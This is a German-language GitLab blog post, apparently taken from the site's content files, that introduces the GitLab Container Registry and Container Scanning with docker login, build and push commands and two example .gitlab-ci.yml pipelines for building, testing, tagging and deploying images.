Entwickler(innen) können Images einfach von GitLab CI hoch- und herunterladen. Es ist nicht erforderlich, zusätzliche Software herunterzuladen oder zu installieren.\n\n## Sicherheit mit dem GitLab Container Scanning\n\nGitLab Container Scanning ist eine Sicherheitsfunktion, die in GitLab integriert ist und dazu dient, Docker-Images auf potenzielle Sicherheitsrisiken zu überprüfen. Diese Funktion ermöglicht es Entwickler(innen), während des Entwicklungsprozesses automatisch Sicherheitsanalysen auf Docker-Images durchzuführen, bevor sie in Produktionsumgebungen eingesetzt werden.\n\nKonkret scannt das GitLab Container Scanning Tool die Docker-Images nach bekannten Sicherheitslücken, Schwachstellen und Bedrohungen. Dies erfolgt durch die Analyse der in den Images enthaltenen Pakete und Bibliotheken sowie deren Abhängigkeiten. \n\nEs identifiziert dabei potenzielle Sicherheitsprobleme und liefert den Entwickler(innen) oder dem Team detaillierte Berichte darüber, was gefunden wurde und wie diese Schwachstellen behoben werden können. Durch die Integration von Docker Container Scanning in den Entwicklungsworkflow können Sicherheitslücken frühzeitig erkannt und behoben werden, noch bevor die Software in Produktion geht. Dies trägt dazu bei, die Sicherheit der Anwendungen zu erhöhen und das Risiko von Sicherheitsverletzungen zu minimieren.\n\n## Wie kann die GitLab Container Registry meinen Workflow vereinfachen?\n\nDie GitLab Container Registry ist nahtlos und sicher. Hier sind einige Beispiele dafür, wie sie Entwicklungs- und Bereitstellungsabläufe vereinfachen kann:\n\n- Erstelle ganz einfach Docker-Images mithilfe von GitLab CI und speichere sie in der GitLab Container Registry.\n\n- Erstelle Images basierend auf Branches, Tags oder nach beliebigen Workflow-Anforderungen und speichere sie unkompliziert auf GitLab.\n\n- Nutze deine eigenen Build-Images aus der Registry, um Anwendungen gegen sie zu testen und den Docker-Workflow zu vereinfachen.\n\n- Ermögliche dem Team, einfach an den Images mitzuarbeiten, indem es den vertrauten Workflow verwendet. Mithilfe von GitLab CI können Images, die auf deinem Image basieren, automatisch aktualisiert werden, sodass Korrekturen und neue Funktionen problemlos auf Basis-Images angewendet werden können, die von anderen Teams verwendet werden.\n\n- Implementiere einen vollständigen Continuous-Deployment- und Delivery-Workflow, indem du dein Container-as-a-Service (CaaS) so konfigurierst, dass es Images direkt aus der GitLab Container Registry verwendet. Dadurch kannst du automatisch Anwendungen in der Cloud bereitstellen (Docker Cloud, Docker Swarm, Kubernetes und andere), sobald du deine Images erstellt und getestet hast.\n\n## So startest du mit GitLab Container Registry\n\nUm mit der GitLab Container Registry zu beginnen, wende dich zunächst an deine(n) Systemadministrator(in) und bitte sie/ihn, die Container Registry gemäß den Anweisungen in der Administrationsdokumentation zu aktivieren. Nach der Aktivierung durch die/den Administrator(in) kannst du die Container Registry für dein spezifisches Projekt aktivieren.\n\nUm deine neue Container Registry nutzen zu können, musst du dich zunächst anmelden:\ndocker login registry.example.com\n\nDanach kannst du einfach Images erstellen und an GitLab senden:\ndocker build -t registry.example.com/group/project .\ndocker push registry.example.com/group/project\n\nGitLab bietet eine unkomplizierte Verwaltung der Container Registry. Gehe einfach zu deinem Projekt, öffne den Deploy-Tab und wähle  Container Registry. Dort werden alle Tags in deinem Repository aufgeführt. Hier kannst du sie löschen sowie Details zu jedem Tag anzeigen, wie beispielsweise das Veröffentlichungsdatum und den Speicherplatzverbrauch.\n\nWeitere Informationen findest du im GitLab-Container-Registry-Benutzerhandbuch.\n\n## Verwendung mit GitLab CI\nMithilfe der integrierten CI-Lösung in GitLab kannst du deine Container-Images erstellen, pushen und bereitstellen.\n\nHinweis: Um Docker-in-Docker-Images zu verwenden, muss das Flag privileged in der Konfiguration deines Runners gesetzt sein. \n\nNachfolgend siehst du ein Beispiel für eine GitLab CI-Konfigurationsdatei (.gitlab-ci.yml), die ein Image erstellt, Tests ausführt und bei erfolgreichem Test das Build taggt und in das Container Repository hochlädt:\n\nbuild_image:\n  image: docker:git\n  services:\n  - docker:dind\n  script:\n    - docker login -u gitlab-ci-token -p $CI_BUILD_TOKEN registry.example.com\n    - docker build -t registry.example.com/my-group/my-project .\n    - docker run registry.example.com/my-group/my-project /script/to/run/tests\n    - docker push registry.example.com/my-group/my-project:latest\n  only:\n    - master\n\nHier ist ein detailliertes Beispiel, bei dem die Aufgaben in vier Phasen aufgeteilt werden, einschließlich zweier paralleler Tests. Der Build wird in der Container Registry gespeichert und von den nachfolgenden Phasen verwendet, wobei das Image bei Bedarf automatisch heruntergeladen wird. Änderungen am master werden auch als latest getaggt und mithilfe eines spezifischen Bereitstellungsskripts für die Anwendung bereitgestellt.\n\nimage: docker:git\nservices:\n- docker:dind\n\nstages:\n- build\n- test\n- release\n- deploy\n\nvariables:\n  CONTAINER_TEST_IMAGE: registry.example.com/my-group/my-project:$CI_BUILD_REF_NAME\n  CONTAINER_RELEASE_IMAGE: registry.example.com/my-group/my-project:latest\n\nbefore_script:\n  - docker login -u gitlab-ci-token -p $CI_BUILD_TOKEN registry.example.com\n\nbuild:\n  stage: build\n  script:\n    - docker build -t $CONTAINER_TEST_IMAGE .\n    - docker push $CONTAINER_TEST_IMAGE\n\ntest1:\n  stage: test\n  script:\n    - docker run $CONTAINER_TEST_IMAGE /script/to/run/tests\n\ntest2:\n  stage: test\n  script:\n    - docker run $CONTAINER_TEST_IMAGE /script/to/run/another/test\n\nrelease-image:\n  stage: release\n  script:\n    - docker pull $CONTAINER_TEST_IMAGE\n    - docker tag $CONTAINER_TEST_IMAGE $CONTAINER_RELEASE_IMAGE\n    - docker push $CONTAINER_RELEASE_IMAGE\n  only:\n    - master\n\ndeploy:\n  stage: deploy\n  script:\n    - ./deploy.sh\n  only:\n    - master\n\n## Fazit\n\nMit der GitLab Container Registry wird das Testen und Bereitstellen von Docker-Containern so einfach wie nie zuvor. Sie ist sowohl in der GitLab Community Edition (CE) als auch in der GitLab Enterprise Edition (EE) ohne zusätzliche Kosten verfügbar und wird in derselben Infrastruktur wie der Rest deiner GitLab-Instanz installiert.\n\nDie Aktivierung der Container Registry auf GitLab.com ist unkompliziert – zudem entstehen dadurch keine weiteren Kosten. Du kannst sie sofort nutzen, um deine Container-Images zu verwalten und bereitzustellen.\n",{"slug":3871,"featured":6,"template":682},"gitlab-container-registry","content:de-de:blog:gitlab-container-registry.yml","Gitlab Container Registry","de-de/blog/gitlab-container-registry.yml","de-de/blog/gitlab-container-registry",1759347802476]